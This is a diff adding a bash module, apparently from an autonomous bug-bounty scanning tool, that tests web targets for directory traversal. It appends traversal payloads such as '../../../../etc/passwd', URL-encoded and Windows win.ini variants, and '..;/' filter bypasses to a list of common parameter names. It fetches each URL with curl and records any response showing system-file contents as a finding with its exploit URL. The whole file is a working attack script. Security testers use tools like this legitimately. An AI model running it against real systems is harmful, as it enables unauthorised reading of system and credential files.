The Analyzer v1.0 — autonomous bug bounty engine with 20 attack vectors and Ollama brain

vectors/07-directory-traversal.sh

@@ -0,0 +1,50 @@
+#!/usr/bin/env bash
+# Vector 07: Directory Traversal
+# Desc: Path traversal to read arbitrary files
+# Detect: file=, download=, doc=, pdf= parameters
+# Severity: HIGH
+# Tools: curl
+
+vector_dtrav() {
+  local target="$1"
+  local report="$2"
+  local findings=0
+  
+  print_info "Testing Directory Traversal vectors..."
+  
+  local trav_params=("file" "download" "doc" "pdf" "attachment" "d" "f" "folder" "dir" "img" "document" "view" "page")
+  
+  for param in "${trav_params[@]}"; do
+    local tests=(
+      "../../../../etc/passwd"
+      "..\\..\\..\\windows\\win.ini"
+      "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd"
+      "....//....//....//etc/passwd"
+      "..;/..;/..;/etc/passwd"
+    )
+    
+    for trav in "${tests[@]}"; do
+      local test_url=""
+      if [[ "$target" == *\?* ]]; then
+        test_url="${target}&${param}=${trav}"
+      else
+        test_url="${target}?${param}=${trav}"
+      fi
+      
+      local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
+      
+      if echo "$response" | grep -qi "root:.*:0:0:\|root:x:0:0:\|\[boot loader\]\|\[fonts\]"; then
+        print_find "Directory Traversal!" "File read via $param with: $trav"
+        echo "SEVERITY: HIGH
+VECTOR: Directory Traversal
+DETAIL: Path traversal via parameter '$param' on $target
+EVIDENCE: System files readable: ${response:0:100}
+EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_dtrav.txt"
+        findings=$((findings + 1))
+        break 2
+      fi
+    done
+  done
+  
+  return $findings
+}